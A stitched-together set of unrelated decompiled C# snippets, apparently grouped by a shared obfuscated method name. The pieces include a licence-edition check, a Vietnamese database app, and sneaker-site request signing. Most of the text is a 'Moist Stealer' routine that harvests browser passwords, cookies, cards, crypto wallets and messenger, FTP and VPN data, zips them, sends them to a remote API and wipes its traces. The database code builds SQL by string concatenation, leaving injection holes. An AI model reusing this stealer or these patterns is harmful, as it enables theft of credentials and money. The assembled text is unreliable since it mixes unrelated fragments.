private void method_5()
{
try
{
Dictionary <string, AssemblyTuple> dictionary = BfCache.smethod_1(this.ienumerable_0);
if (Class13.smethod_0())
{
IEnumerable <KeyValuePair <string, AssemblyTuple> > arg_35_0 = dictionary;
if (AnalyzingWindow.func_0 == null)
{
AnalyzingWindow.func_0 = new Func <KeyValuePair <string, AssemblyTuple>, bool>(AnalyzingWindow.smethod_0);
}
if (arg_35_0.Where(AnalyzingWindow.func_0).Any <KeyValuePair <string, AssemblyTuple> >())
{
throw new NitriqException("MergedAssemblies", "Nitriq Free Edition does not allow you analyze assemblies with more than one module (the assembly was probably merged). Nitriq Pro has no restrictions and can be purchased at www.nitriq.com");
}
}
this.bfCache_0 = new BfCache(dictionary);
base.Dispatcher.Invoke(new Action(this.method_0), new object[0]);
}
catch (Exception caughtException)
{
this.CaughtException = caughtException;
base.Dispatcher.Invoke(new Action(this.method_0), new object[0]);
}
}
private void method_3(object sender, RoutedEventArgs e)
{
bool arg_3D_0;
if (Class13.smethod_0())
{
IEnumerable <AssemblyFileInfo> arg_2F_0 = this.assemblyPickerViewModel_0.Assemblies;
if (AssemblyPicker.func_1 == null)
{
AssemblyPicker.func_1 = new Func <AssemblyFileInfo, bool>(AssemblyPicker.smethod_1);
}
arg_3D_0 = (arg_2F_0.Count(AssemblyPicker.func_1) <= 1);
}
else
{
arg_3D_0 = true;
}
if (!arg_3D_0)
{
System.Windows.MessageBox.Show("Nitriq Free Edition only allows you to analyze a single assembly, please remove all but one assembly. Nitriq Pro has no restrictions and can be purchased at www.nitriq.com", "Feature Not Available", MessageBoxButton.OK, MessageBoxImage.Asterisk);
}
else
{
base.DialogResult = new bool?(true);
}
}
public MainViewModel()
{
this.treemapMetric_0 = this.treemapMetricCollection_0.TypeMetrics[0];
this.BuildTreemapPopupTemplate();
try
{
if (Class33.smethod_0().method_0() == (Enum6)0)
{
string licenseName = null;
string licenseCompany = null;
if (!Class13.smethod_0())
{
licenseName = "Hank Rearden";
licenseCompany = "Rearden Steel";
}
this.LicenseName = licenseName;
this.LicenseCompany = licenseCompany;
}
if (Class33.smethod_0().method_0() == (Enum6)1)
{
string licenseName = Class33.smethod_0().method_50()["Name"].ToString();
string licenseCompany = Class33.smethod_0().method_50()["Company"].ToString();
this.LicenseName = licenseName;
this.LicenseCompany = licenseCompany;
}
}
catch (Exception)
{
throw;
}
}
private void btn_Confirm_Click(object sender, EventArgs e)
{
using (StreamWriter writer = new StreamWriter(Application.StartupPath + @"\config.ini", false))
{
writer.WriteLine(Class13.smethod_0("SERVER=" + this.Txt_ServerName.Text.Trim(), Class13.string_0));
writer.WriteLine(Class13.smethod_0("NAMEDB=" + this.Txt_DbName.Text.Trim(), Class13.string_0));
writer.WriteLine(Class13.smethod_0("USERDB=" + this.Txt_UserName.Text.Trim(), Class13.string_0));
writer.WriteLine(Class13.smethod_0("PASSDB=" + this.Txt_DbPass.Text.Trim(), Class13.string_0));
writer.Close();
}
Class7.ShowMessageBox("Cập nhật th\x00e0nh c\x00f4ng file config", 1);
}
private void method_0()
{
string str = this.Txt_Id.Text.Trim();
string str2 = this.Txt_ShortName.Text.Trim();
string str3 = this.Txt_FullName.Text.Trim();
string str4 = (this.Txt_Password.Text == string.Empty) ? "" : Class13.smethod_0(this.Txt_Password.Text.Trim(), Class13.string_0);
string str5 = (this.Txt_Password1.Text == string.Empty) ? "" : Class13.smethod_0(this.Txt_Password1.Text.Trim(), Class13.string_0);
string str6 = Class11.smethod_11(this.Cmb_Group);
if (str4 != str5)
{
Class7.ShowMessageBox("Mật khẩu nhập 2 lần kh\x00f4ng giống nhau", 1);
this.Txt_Password.Focus();
}
else if (string.IsNullOrEmpty(this.Txt_FullName.Text) | string.IsNullOrEmpty(this.Txt_ShortName.Text))
{
Class7.ShowMessageBox("Th\x00f4ng tin khai b\x00e1o chưa đầy đủ", 1);
}
else
{
string str7 = Class11.string_0;
if (str7 != null)
{
OleDbDataAdapter adapter;
DataSet set;
if (!(str7 == "N"))
{
if (str7 == "E")
{
this.btn_Skip_Click(this, new EventArgs());
adapter = new OleDbDataAdapter("UPDATE " + base.Tag.ToString() + " SET [Full_name]= N'" + str3 + "' , [groups] = '" + str6 + "', [Passw]='" + str4 + "' WHERE ID = '" + str + "' ", Class7.oleDbConnection_1);
set = new DataSet();
adapter.Fill(set);
Class7.oleDbConnection_1.Close();
}
}
else if (Class7.smethod_18(base.Tag.ToString(), "name", str2))
{
Class7.ShowMessageBox("T\x00ean sử dụng n\x00e0y đ\x00e3 c\x00f3 trong cơ sở dữ liệu", 1);
this.Txt_ShortName.Focus();
}
else
{
this.btn_Skip_Click(this, new EventArgs());
adapter = new OleDbDataAdapter("INSERT INTO " + base.Tag.ToString() + "([ID], [Name], [Full_name],[groups], [Passw], [Status],mright,rpright) VALUES('" + str + "', '" + str2 + "' , N'" + str3 + "','" + str6 + "', '" + str4 + "', 1,'" + this.method_1(str6) + "','" + this.method_2(str6) + "') ", Class7.oleDbConnection_1);
set = new DataSet();
adapter.Fill(set);
Class7.oleDbConnection_1.Close();
}
}
}
}
private void btn_Confirm_Click(object sender, EventArgs e)
{
string str = this.Chk_Minus.Checked ? "1" : "0";
this.method_0("m_address", Class13.smethod_0(this.Txt_Address.Text, Class13.string_0));
this.method_0("m_fax", Class13.smethod_0(this.Txt_Fax.Text, Class13.string_0));
this.method_0("m_name", Class13.smethod_0(this.Txt_FullName.Text, Class13.string_0));
this.method_0("m_phone", Class13.smethod_0(this.Txt_Phone.Text, Class13.string_0));
this.method_0("m_vatnum", Class13.smethod_0(this.Txt_VatNumb.Text, Class13.string_0));
this.method_0("m_minus", str);
Class7.ShowMessageBox("Thay đổi th\x00f4ng tin th\x00e0nh c\x00f4ng", 1);
base.Close();
}
public static void GetStealer()
{
try
{
Directory.CreateDirectory(Help.Moist_Dir);
Directory.CreateDirectory(Help.Browsers);
Directory.CreateDirectory(Help.Passwords);
Directory.CreateDirectory(Help.Autofills);
Directory.CreateDirectory(Help.Downloads);
Directory.CreateDirectory(Help.Cookies);
Directory.CreateDirectory(Help.History);
Directory.CreateDirectory(Help.Cards);
File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
GetFiles.Inizialize(Help.Moist_Dir);
Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
try
{
Class4.smethod_0(Help.Cookies);
}
catch
{
}
try
{
Class4.PlqfdbrYf(Help.Passwords);
}
catch
{
}
try
{
Class4.smethod_2(Help.Autofills);
}
catch
{
}
try
{
Class4.smethod_3(Help.Downloads);
}
catch
{
}
try
{
Class4.smethod_4(Help.History);
}
catch
{
}
try
{
Class4.smethod_1(Help.Cards);
}
catch
{
}
try
{
Class12.smethod_2();
}
catch
{
}
try
{
Class12.smethod_3();
}
catch
{
}
try
{
Class25.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class15.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class24.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class23.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class20.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
TGrabber.Start(Help.Moist_Dir);
}
catch
{
}
try
{
Class14.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class21.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class13.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class22.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class16.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class17.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
Class37.smethod_0(Help.Moist_Dir);
}
catch
{
}
try
{
DomainDetect.Start(Help.Browsers);
}
catch
{
}
string text = string.Concat(new string[]
{
Help.dir,
"\\",
Help.HWID,
Help.smethod_0(),
".zip"
});
using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
{
zipFile.CompressionLevel = 9;
zipFile.Comment = string.Concat(new string[]
{
"Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
Environment.MachineName,
"/",
Environment.UserName,
"\nIP: ",
Help.IP,
Help.Country(),
"\nHWID: ",
Help.HWID
});
zipFile.AddDirectory(Help.Moist_Dir ?? "");
zipFile.Save(text ?? "");
}
string text2 = text ?? "";
byte[] file = File.ReadAllBytes(text2);
string url = string.Concat(new string[]
{
Help.ApiUrl,
"?id=",
Class1.string_0,
"&caption=",
"⚡️ Moist Stealer Gate detected new log! ⚡️\n",
"\ud83d\udd25 User: "******"/",
Environment.UserName,
" \ud83d\udd25\n",
"\ud83c\udf0d IP: " + Help.IP,
" ",
Help.Country(),
"\n\n",
string.Concat(new string[]
{
"\n\ud83c\udf10 Browsers Data\nPasswords: ",
(Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
"\nCookies: ",
(Class4.int_3 + Class12.int_0).ToString(),
"\nHistory: ",
Class4.int_4.ToString(),
"\nAutofill: ",
Class4.int_1.ToString(),
"\nCC: ",
Class4.int_5.ToString(),
"\n"
}),
string.Concat(new string[]
{
"\n\ud83d\udcb6 Wallets: ",
(Class37.int_0 > 0) ? "Yes" : "No",
(Class31.int_0 > 0) ? " Electrum" : "",
(Class26.int_0 > 0) ? " Armory" : "",
(Class27.int_0 > 0) ? " Atomic" : "",
(Class28.int_0 > 0) ? " BitcoinCore" : "",
(Class29.int_0 > 0) ? " Bytecoin" : "",
(Class30.int_0 > 0) ? " DashCore" : "",
(Class32.int_0 > 0) ? " Ethereum" : "",
(Class33.int_0 > 0) ? " Exodus" : "",
(Class35.int_0 > 0) ? " LitecoinCore" : "",
(Class36.int_0 > 0) ? " Monero" : "",
(Class38.int_0 > 0) ? " Zcash" : "",
(Class34.int_0 > 0) ? " Jaxx" : "",
"\n\n\ud83e\uddf2 Grabbed files: ",
GetFiles.count.ToString(),
"\n\ud83d\udcac Discord: ",
(Class14.int_0 > 0) ? "Yes" : "No",
"\n\ud83d\udee9 Telegram: ",
(TGrabber.count > 0) ? "Yes" : "No",
"\n\ud83d\udca1 Jabber: ",
(Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
(Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
(Class20.int_0 > 0) ? " Psi" : "",
"\n\n\ud83d\udce1 FTP\nFileZilla: ",
(Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
"\nTotalCmd: ",
(Class17.int_0 > 0) ? "Yes" : "No",
"\n\n⚖️ VPN\nNordVPN: ",
(Class23.int_0 > 0) ? "Yes" : "No",
"\nOpenVPN: ",
(Class24.int_0 > 0) ? "Yes" : "No",
"\nProtonVPN: ",
(Class25.int_0 > 0) ? "Yes" : "No",
"\n\nHWID: ",
Help.HWID,
"\n⚙️ ",
Class22.smethod_4(),
"\n\ud83d\udd0e Domain detect",
File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
})
});
SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
Directory.Delete(Help.dir + "\\", true);
File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
}
catch
{
}
}
// Token: 0x060002C5 RID: 709 RVA: 0x0001750C File Offset: 0x0001570C
private void method_4(string string_0, string string_1)
{
this.httpClient_0.DefaultRequestHeaders.Remove("X-Request-Auth");
if (string_0.Contains("footpatrol"))
{
this.httpClient_0.DefaultRequestHeaders.TryAddWithoutValidation("X-Request-Auth", Class13.smethod_0(string_0, string_1));
return;
}
if (string_0.Contains("thehipstore"))
{
this.httpClient_0.DefaultRequestHeaders.TryAddWithoutValidation("X-Request-Auth", Class13.smethod_1(string_0, string_1));
}
}
// Token: 0x060002C5 RID: 709 RVA: 0x00019ABC File Offset: 0x00017CBC
private void method_4(string string_0, string string_1)
{
this.httpClient_0.DefaultRequestHeaders.Remove(Class185.smethod_0(537711332));
if (string_0.Contains(Class185.smethod_0(537700113)))
{
this.httpClient_0.DefaultRequestHeaders.TryAddWithoutValidation(Class185.smethod_0(537711332), Class13.smethod_0(string_0, string_1));
return;
}
if (string_0.Contains(Class185.smethod_0(537700185)))
{
this.httpClient_0.DefaultRequestHeaders.TryAddWithoutValidation(Class185.smethod_0(537711332), Class13.smethod_1(string_0, string_1));
}
}
private void RrqIxZxw5(object sender, EventArgs e)
{
this.txtEncrypted.Text = Class13.smethod_0(this.txtOriginal.Text.Trim(), this.txtPassword.Text.Trim());
}